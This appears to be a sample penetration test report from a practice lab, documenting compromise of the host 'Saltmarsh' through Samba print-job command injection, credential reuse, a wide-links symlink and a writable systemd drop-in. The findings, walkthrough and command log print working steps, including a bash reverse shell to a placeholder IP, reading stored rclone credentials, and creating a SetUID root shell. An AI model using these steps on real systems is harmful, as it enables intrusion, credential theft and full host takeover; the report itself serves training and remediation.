PENETRATION TEST REPORT · SAMPLE

Saltmarsh

GRADE
C
79.2/100

BREACHYARD · Medium · Linux · redacted · shareable

Executive summary

Saltmarsh was assessed end-to-end and **fully compromised** — root (administrative) access was achieved.

The assessment surfaced 2 findings (2 critical). Until these are remediated, the host should be treated as fully attacker-controlled.

Initial access was gained through **Samba print-job command injection (CVE-2026-4480)**, which was escalated to full administrative control via **Writable systemd unit directory allows root escalation**.

What was done

A plain-language account of the engagement, phase by phase. Technical detail and evidence are in Findings and the Walkthrough below.

- **Discovery** — Enumerate exposed services, enumerate smb shares, enumerate domain users, reuse cred as scott, abuse wide links, write ssh key as marcus, ssh as marcus, write systemd dropin and reload and restart smbd.
- **Execution** — Exploit print injection and get foothold.
- **Privilege Escalation** — Orient as nobody, enumerate target users, discover offsite backup creds, read rclone config, capture the user flag, enumerate samba config, find writable systemd dropin, escalate to root and capture the root flag.

Scope

- **Target:** Saltmarsh
- **Platform:** breachyard
- **Context:** host
- **Window:** 2026-07-07T19:00:00.000Z → 2026-07-07T19:14:23.600Z

Methodology

The engagement was recorded end-to-end and analysed against three frameworks: MITRE ATT&CK (technique), the Unified Kill Chain (ordering), and CWE (weakness class). Phases exercised: Discovery → Execution → Privilege Escalation.

Findings

#	FINDING	SEVERITY	WEAKNESS
1	Samba print-job command injection (CVE-2026-4480)	CRITICAL	CVE-2026-4480 · CWE-78
2	Writable systemd unit directory allows root escalation	CRITICAL	CWE-732

1. Samba print-job command injection (CVE-2026-4480)

Severity: CRITICAL · **Weakness**: CVE-2026-4480 · CWE-78 · **Affected**: Saltmarsh

DESCRIPTION

The Samba print path forwards the print-job description through the shell without escaping, so a crafted job name is executed as a command on the server.

IMPACT

Unauthenticated remote command execution as the Samba service account, giving an initial foothold on the host.

EVIDENCE

- `#7` `echo 'bash -i >& /dev/tcp/x.x.x.x/443 0>&1' > '|bash'`

```
payload written · the print command forwards the job description through %J unescaped (CVE-202
```

STEPS TO REPRODUCE

```
echo 'bash -i >& /dev/tcp/x.x.x.x/443 0>&1' > '|bash'
```

REMEDIATION

Patch Samba to a fixed release; disable the print$ / spooler services if unused; never pass untrusted job metadata to a shell.

REFERENCES

- https://nvd.nist.gov/vuln/detail/CVE-2026-4480

2. Writable systemd unit directory allows root escalation

Severity: CRITICAL · **Weakness**: CWE-732 · **Affected**: Saltmarsh

DESCRIPTION

A systemd unit or drop-in directory is group/world-writable, so a low-privileged user can add an ExecStartPre/ExecStart that runs as root on the next (re)start.

IMPACT

Full root compromise of the host.

EVIDENCE

- `#24` `ls -ld /etc/systemd/system/smbd.service.d/`

```
drwxrwxr-x 2 root operators 4096 ... · group-writable by operators
```

STEPS TO REPRODUCE

```
whoami
id
cat /etc/passwd | grep 'sh$'
ls /opt/offsite-backup
cat /opt/offsite-backup/rclone.conf
cat user.txt
cat /etc/samba/shares.conf
id
ls -ld /etc/systemd/system/smbd.service.d/
```

REMEDIATION

Restrict systemd unit directories to root ownership and 0755 permissions; audit group membership that grants write access.

REFERENCES

- https://cwe.mitre.org/data/definitions/732.html

Walkthrough

Discovery

- `#1` `nmap -p- --min-rate 10000 saltmarsh.range` : 22/tcp ssh · 139/tcp netbios-ssn · 445/tcp microsoft-ds · full TCP sweep
- `#2` `nmap -p 22,139,445 -sCV saltmarsh.range` : 22/tcp OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 · 139,445/tcp Samba smbd 4.6.2 · looks like Ubuntu 24.04 LTS
- `#3` `nmblookup -A saltmarsh.range` : SALTMARSH <00> <03> <20> B · WORKGROUP <00> <1d> <1e> · <20> set, File Server Service is up
- `#4` `smbclient -L //saltmarsh.range/ -N` : HP-Reception (Printer) · projects (Disk) · transfer (Disk) · IPC$ · anonymous listing succeeds
- `#5` `rpcclient -N saltmarsh.range -U "" -c enumdomusers` : user:[scott] rid:[0x3e8] · single domain user, null session
- `#6` `rpcclient -N saltmarsh.range -U "" -c netshareenumall` : HP-Reception -> C:\var\spool\samba · projects -> C:\srv\projects · transfer -> C:\srv\transfer

Execution

- `#7` `echo 'bash -i >& /dev/tcp/x.x.x.x/443 0>&1' > '|bash'` : payload written · the print command forwards the job description through %J unescaped (CVE-2026-4480)
- `#8` `nc -lnvp 443` : listening on [any] 443 ...

Discovery

- `#9` `smbclient //saltmarsh.range/HP-Reception -N -c 'print "|bash"'` : putting file |bash as the print job · job description runs as a shell command · nobody@saltmarsh:/var/spool/samba$ (caught on the listener)
- `#10` `script /dev/null -c bash` : nobody@saltmarsh:/var/spool/samba$ · upgraded to a full tty

Privilege Escalation

- `#11` `whoami` : nobody
- `#12` `id` : uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
- `#13` `cat /etc/passwd | grep 'sh$'` : root:x:0:0:root:/root:/bin/bash · scott:x:1000:1001:Scott Hale:/home/scott:/bin/bash · marcus:x:1001:1002:Marcus Orr:/home/marcus:/bin/bash
- `#14` `ls /opt/offsite-backup` : rclone.conf sync.sh
- `#15` `cat /opt/offsite-backup/rclone.conf` : [offsite] type = sftp · host = backup.saltworks.internal · user = svc-backup · pass = [redacted] (rclone-obscured)

Discovery

- `#16` `rclone reveal [redacted]` : [redacted] · plaintext offsite-backup password
- `#17` `su - scott` : Password: [redacted] · scott@saltmarsh:~$ · the offsite-backup password is reused for the local account

Privilege Escalation

- `#18` `cat user.txt` : [redacted-flag]
- `#19` `cat /etc/samba/shares.conf` : [transfer] valid users = scott · force user = marcus · read only = no · wide links = yes · (global) allow insecure wide links = yes

Discovery

- `#20` `ln -s /home/marcus /srv/transfer/marcus-link` : symlink created · wide links + force user=marcus lets the link resolve outside the share root
- `#21` `smbclient //saltmarsh.range/transfer -U scott%[redacted] -c 'mkdir marcus-link/.ssh; put id_ed25519.pub marcus-link/.ssh/authorized_keys'` : putting id_ed25519.pub as marcus-link.ssh\authorized_keys · written to disk as marcus (force user)
- `#22` `ssh -o IdentityFile=./id_ed25519 marcus@saltmarsh.range` : marcus@saltmarsh:~$ · key-based login, no password needed

Privilege Escalation

- `#23` `id` : uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators) · marcus is in the operators group
- `#24` `ls -ld /etc/systemd/system/smbd.service.d/` : drwxrwxr-x 2 root operators 4096 … · group-writable by operators

Discovery

- `#25` `echo -e '[Service]\nExecStartPre=-/bin/bash -c "cp /bin/bash /tmp/.rootbash; chmod 6777 /tmp/.rootbash"' > /etc/systemd/system/smbd.service.d/override.conf` : drop-in written · ExecStartPre runs as root the next time smbd (re)starts
- `#26` `systemctl daemon-reload` : unit files reloaded
- `#27` `systemctl restart smbd` : smbd restarted · ExecStartPre ran as root; /tmp/.rootbash is now a SetUID root bash
- `#28` `/tmp/.rootbash -p` : bash-5.2# · SetUID shell spawned

Privilege Escalation

- `#29` `whoami` : root

- `#30` `cat root.txt` : [redacted-flag]

Appendix

Command log

#	TIME	COMMAND
1	0:00	`nmap -p- --min-rate 10000 saltmarsh.range`
2	1:03	`nmap -p 22,139,445 -sCV saltmarsh.range`
3	1:45	`nmblookup -A saltmarsh.range`
4	2:00	`smbclient -L //saltmarsh.range/ -N`
5	2:13	`rpcclient -N saltmarsh.range -U "" -c enumdomusers`
6	2:21	`rpcclient -N saltmarsh.range -U "" -c netshareenumall`
7	6:24	`echo 'bash -i >& /dev/tcp/x.x.x.x/443 0>&1' > '
8	6:32	`nc -lnvp 443`
9	6:38	`smbclient //saltmarsh.range/HP-Reception -N -c 'print "
10	6:47	`script /dev/null -c bash`
11	6:52	`whoami`
12	6:55	`id`
13	7:21	`cat /etc/passwd
14	7:56	`ls /opt/offsite-backup`
15	8:01	`cat /opt/offsite-backup/rclone.conf`
16	8:16	`rclone reveal [redacted]`
17	8:27	`su - scott`
18	9:59	`cat user.txt`
19	10:59	`cat /etc/samba/shares.conf`
20	11:30	`ln -s /home/marcus /srv/transfer/marcus-link`
21	11:51	`smbclient //saltmarsh.range/transfer -U scott%[redacted] -c 'mkdir marcus-link/.ssh; put id_ed25519.pub marcus-link/.ssh/authorized_keys'`
22	12:19	`ssh -o IdentityFile=./id_ed25519 marcus@saltmarsh.range`
23	12:24	`id`
24	13:05	`ls -ld /etc/systemd/system/smbd.service.d/`
25	13:50	`echo -e '[Service]\nExecStartPre=-/bin/bash -c "cp /bin/bash /tmp/.rootbash; chmod 6777 /tmp/.rootbash"' > /etc/systemd/system/smbd.service.d/override.conf`
26	13:57	`systemctl daemon-reload`

#	TIME	COMMAND
27	14:02	`systemctl restart smbd`
28	14:12	`/tmp/.rootbash -p`
29	14:14	`whoami`
30	14:21	`cat root.txt`

Findings ledger

KIND	VALUE
cred	••••
cred	••••
cred	••••
cred	••••
cred	••••

Tool loadout

TOOL	COUNT
`cat`	5
`smbclient`	3
`nmap`	2
`rpcclient`	2
`echo`	2
`whoami`	2
`id`	2
`ls`	2
`systemctl`	2
`nmblookup`	1
`nc`	1
`script`	1
`rclone`	1
`su`	1
`ln`	1
`ssh`	1

TOOL	COUNT
`.rootbash`	1